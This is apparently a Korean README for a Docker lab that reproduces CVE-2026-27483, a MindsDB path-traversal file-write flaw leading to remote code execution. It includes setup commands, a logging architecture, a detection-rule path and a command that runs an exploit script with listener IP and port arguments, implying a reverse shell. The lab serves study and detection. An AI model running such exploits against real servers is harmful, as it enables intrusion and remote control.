
CVE-2026-27483을 연구하고 방어하기 위한 컨테이너화된 엔터프라이즈 스타일의 실험실
CVE-2026-27483(MindsDB 경로 탐색 RCE)을 학습, 테스트 및 방어하기 위한 완전하고 현실적인 엔터프라이즈급 Docker 기반 실습 환경입니다.
# 저장소 복제
git clone https://github.com/nabhan-mohy/cve-2026-27483-lab.git
cd cve-2026-27483-lab
# 환경 파일 복사
cp .env.example .env
# 실습 환경 배포 (약 2~3분 소요)
docker compose up -d
# 배포 확인
docker compose ps
# MindsDB 상태 확인
curl http://localhost:47334/api/status
# 학습 시작!
open http://localhost:8080 # 리버스 프록시 대시보드
인터넷 (공격자)
↓
리버스 프록시 (nginx)
↓
┌─────────────────────────────────┐
│ MindsDB (취약) │ 포트 47334
│ - CVE-2026-27483에 취약 │
└─────────────────────────────────┘
↓
┌─────────────────────────────────┐
│ PostgreSQL 데이터베이스 │ 포트 5432 (내부)
│ - MindsDB 데이터 저장 │
└─────────────────────────────────┘
↓
┌─────────────────────────────────┐
│ ELK 스택 (로깅) │
│ - Elasticsearch, Logstash │ 포트 9200, 5000
│ - Kibana 대시보드 │ 포트 5601
└─────────────────────────────────┘
docker compose up -d
docker compose --profile minimal up -d
docker compose --profile monitoring up -d
# 로그 보기
docker compose logs -f mindsdb
docker compose logs -f elasticsearch
# 서비스 접속
curl http://localhost:47334/api/status # MindsDB API
http://localhost:5601 # Kibana
http://localhost:8080 # 리버스 프록시
# 실습 환경 중지
docker compose down
# 초기 상태로 재설정
./scripts/reset.sh
# 도전 과제 실행
python3 exploits/exploit.py -t localhost -lh YOUR_IP -lp 4444
# 탐지 규칙 보기
cat rules/sigma/cve-2026-27483.yml
⚠️ 이 실습 환경은 의도적으로 취약한 소프트웨어를 포함합니다
기여를 환영합니다! 자세한 내용은 CONTRIBUTING.md를 참조하십시오.
MIT 라이선스 - 자세한 내용은 LICENSE를 참조하십시오.
설명: 이 저장소는 MindsDB의 경로 탐색 취약점인 CVE-2026-27483에 대한 포괄적인 단계별 분석을 제공합니다. 이 결함(25.9.1.1 이전 버전)은 인증된 공격자가 서버에서 임의로 파일을 쓰는 업로드(PUT /api/files)를 조작할 수 있게 합니다. 우리는 Docker 실습 환경에서 이 문제를 안전하게 재현하고, 그 영향을 포착했으며, 근본 원인, 악용 메커니즘, 패치 차이, 탐지 전략을 문서화했습니다.
✔️ 탐지 팁: 의심스러운 지표(예: ../이 포함된 업로드 파일명, Python 패키지 수정, 비정상적인 핸들러 설치)를 설명하고 MITRE ATT&CK 기법을 참조합니다.
✔️ 크레딧 및 참고 자료: 이 취약점은 Tencent Xuanwu Lab에서 발견했습니다. 배경 정보는 공식 권고와 NVD 항목을 참조하십시오.
시작하기: 사용자는 자세한 분석을 위해 docs/의 Markdown 문서를 탐색할 수 있습니다. 아키텍처 문서는 시스템 설정을 설명합니다. 안전한 재현 문서는 RCE를 검증한 방법(로그 및 출력 포함)을 보여줍니다. 패치 비교는 버전 25.9.1.1이 문제를 어떻게 수정하는지 설명합니다.
연락처 및 기여: 이 프로젝트는 정보 제공 목적입니다. 질문은 Issues를 사용하십시오. 라이선스 조건은 LICENSE를 참조하십시오.